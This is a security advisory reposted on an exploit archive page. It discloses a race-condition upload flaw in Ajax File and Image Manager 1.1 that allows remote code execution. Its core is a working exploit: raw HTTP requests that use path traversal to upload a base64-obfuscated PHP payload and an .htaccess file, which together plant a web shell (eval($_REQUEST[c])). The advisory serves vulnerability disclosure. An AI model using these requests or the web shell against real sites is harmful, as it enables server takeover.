what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ajax File And Image Manager 1.1 Code Execution

Ajax File And Image Manager 1.1 Code Execution
Posted Sep 19, 2013
Authored by Ilya Krupenko | Site ptsecurity.com

Ajax File and Image Manager versions 1.1 and below suffer from a code execution vulnerability.

tags | exploit, code execution
SHA-256 | 31237d5de06bf26d9ad7ab55fd1d1c9458637ce9c4fee50f8d6fb5185bddb0d1

Ajax File And Image Manager 1.1 Code Execution

Change Mirror Download
-----------------------------------------------------------
(PT-2013-41) Positive Technologies Security Advisory

Arbitrary Code Execution in Ajax File and Image Manager
-----------------------------------------------------------

---[ Vulnerable software ]

Ajax File and Image Manager
Version: 1.1 and earlier

Link:
http://www.phpletter.com/DOWNLOAD/

---[ Severity level ]

Severity level: High
Impact: Arbitrary Code Execution
Access Vector: Remote


CVSS v2:
Base Score: 10
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE: not assigned

---[ Software description ]

Ajax file and Image Manager is an open source file manager, which employs Ajax and PHP. It can be used as a standalone web application, as well as the TinyMCE/FCKeditor plugin.

---[ Vulnerability description ]

The specialists of the Positive Research center have detected "Arbitrary Code Execution" vulnerability in Ajax File and Image Manager.

Due to incorrect application architecture, validation of file extension is implemented after uploading file. Uploaded file will subsequently be removed if its extension is not allowed by whitelist. Thus, you can refer to the uploaded file before its removal, resulting in arbitrary code execution.

Vulnerability exploitation example:

Send the following requests simultaneously:

1)

POST /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/ HTTP/1.1

Host: localhost

User-Agent: google/agent

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------307211690811

Content-Length: 613
-----------------------------307211690811

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg


<?php

eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi

LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk

ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk

aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf

UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw

MSk7"));

?>

-----------------------------307211690811—



2)


POST /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/ HTTP/1.1

Host: localhost

User-Agent: google/agent

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------307211690811

Content-Length: 240
-----------------------------307211690811

Content-Disposition: form-data; name="file"; filename=".htaccess"

Content-Type: image/jpeg


<FilesMatch ".(php)$">

Allow from all

</FilesMatch>

-----------------------------307211690811—



3)


GET /targethost/images/banner/1.php HTTP/1.1

Host: localhost

Connection: keep-alive

This will also create the following files in the /targethost/images/banner directory:
.htaccess with


<FilesMatch ".(php)$">

Allow from all

</Filesmatch>


and 2.php with <?php eval($_REQUEST[c]); ?>.

---[ How to fix ]

No solution

---[ Advisory status ]

20.06.2013 - Vendor gets vulnerability details
04.09.2013 - Vulnerability details were sent to CERT
17.09.2013 - Public disclosure

---[ Credits ]

The vulnerability was detected by Ilya Krupenko, Positive Research Center (Positive Technologies Company)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close